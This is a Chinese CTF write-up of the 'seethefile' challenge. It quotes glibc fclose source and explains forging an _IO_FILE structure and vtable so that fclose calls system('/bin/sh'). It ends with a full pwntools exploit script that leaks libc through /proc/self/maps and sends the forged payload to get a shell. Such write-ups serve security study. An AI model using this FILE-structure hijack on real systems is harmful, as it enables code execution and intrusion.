pwnable.kr seethefile

忙里偷闲-------一道伪造_IO_file结构体的题目
发现文件结构体指针直接放在bss段上我们可以修改,很明显就是让我们伪造_IO_FILE结构体了,根据程序逻辑我们需要仔细阅读fclose函数分析源码ing

_IO_new_fclose (_IO_FILE *fp)
{
  int status;

  CHECK_FILE(fp, EOF);

#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
  /* We desperately try to help programs which are using streams in a
     strange way and mix old and new functions.  Detect old streams
     here.  */
  if (_IO_vtable_offset (fp) != 0)
    return _IO_old_fclose (fp);
#endif

  /* First unlink the stream.  */
  if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    _IO_un_link ((struct _IO_FILE_plus *) fp);

  _IO_acquire_lock (fp);
  if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    status = _IO_file_close_it (fp);
  else
    status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
  _IO_release_lock (fp);
  _IO_FINISH (fp);
  if (fp->_mode > 0)
    {
#if _LIBC
      /* This stream has a wide orientation.  This means we have to free
	 the conversion functions.  */
      struct _IO_codecvt *cc = fp->_codecvt;

      __libc_lock_lock (__gconv_lock);
      __gconv_release_step (cc->__cd_in.__cd.__steps);
      __gconv_release_step (cc->__cd_out.__cd.__steps);
      __libc_lock_unlock (__gconv_lock);
#endif
    }
  else
    {
      if (_IO_have_backup (fp))
	_IO_free_backup_area (fp);
    }
  if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
    {
      fp->_IO_file_flags = 0;
      free(fp);
    }

  return status;
}

#ifdef _LIBC
versioned_symbol (libc, _IO_new_fclose, _IO_fclose, GLIBC_2_1);
strong_alias (_IO_new_fclose, __new_fclose)
versioned_symbol (libc, __new_fclose, fclose, GLIBC_2_1);
#endif

这是fclose的源码通过测试发现远程是2.23版本想到去伪造虚表,发现开始是想写finish然后发现fclose最后也会调用虚表_IO_close_t,就直接写其为system即可,我们伪造的时候会有一些曲折有一点不懂就是gs段寄存器的值,在0x48的位置要填好一个有效地址,然后_IO_FILE+0x8之后填\x00即可走到_IO_new_file_close_it

int
_IO_new_file_close_it (_IO_FILE *fp)
{
  int write_status;
  if (!_IO_file_is_open (fp))
    return EOF;

  if ((fp->_flags & _IO_NO_WRITES) == 0
      && (fp->_flags & _IO_CURRENTLY_PUTTING) != 0)
    write_status = _IO_do_flush (fp);
  else
    write_status = 0;

  _IO_unsave_markers (fp);

  int close_status = ((fp->_flags2 & _IO_FLAGS2_NOCLOSE) == 0
		      ? _IO_SYSCLOSE (fp) : 0);

  /* Free buffer. */
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
  if (fp->_mode > 0)
    {
      if (_IO_have_wbackup (fp))
	_IO_free_wbackup_area (fp);
      _IO_wsetb (fp, NULL, NULL, 0);
      _IO_wsetg (fp, NULL, NULL, NULL);
      _IO_wsetp (fp, NULL, NULL);
    }
#endif
  _IO_setb (fp, NULL, NULL, 0);
  _IO_setg (fp, NULL, NULL, NULL);
  _IO_setp (fp, NULL, NULL);

  _IO_un_link ((struct _IO_FILE_plus *) fp);
  fp->_flags = _IO_MAGIC|CLOSED_FILEBUF_FLAGS;
  fp->_fileno = -1;
  fp->_offset = _IO_pos_BAD;

  return close_status ? close_status : write_status;
}

我们就只需要走到_IO_SYSCLOSE即可打开shell
exp:

from pwn import *
p=process('./seethefile')
#p=remote('chall.pwnable.tw',10200)
elf=ELF('./seethefile')
libc=elf.libc
#libc=ELF('./libc_32.so.6')


def menu(idx):
	p.sendlineafter(':',str(idx))

def s_open(filename):
	menu(1)
	p.sendlineafter(':',filename)

def s_read():
	menu(2)

def s_write():
	menu(3)

def s_close():
	menu(4)

def leave(name):
	menu(5)
	p.sendlineafter(':',name)


bf=0x0804B260
s_open("/proc/self/maps")
s_read()
s_write()
p.recvuntil('[heap]\n')
libcbase=int('0x'+p.recv(8),16)+0x1000
log.success('libcbase: '+hex(libcbase))
system=libcbase+libc.sym['system']
payload='/bin/sh\x00'+'\x00'*4+p32(0)+p32(0)+p32(0)*3
payload+=p32(bf)
payload=payload.ljust(0x48,'\x00')
payload+=p32(bf+0x10)
payload=payload.ljust(0x60,'\x00')
payload+=p32(0)+p32(0)+p32(system)
payload+=(0x94-0x6c)*'\x02'
payload+=p32(bf+0x60)+p32(0)*3+p32(system)
leave(payload)
p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值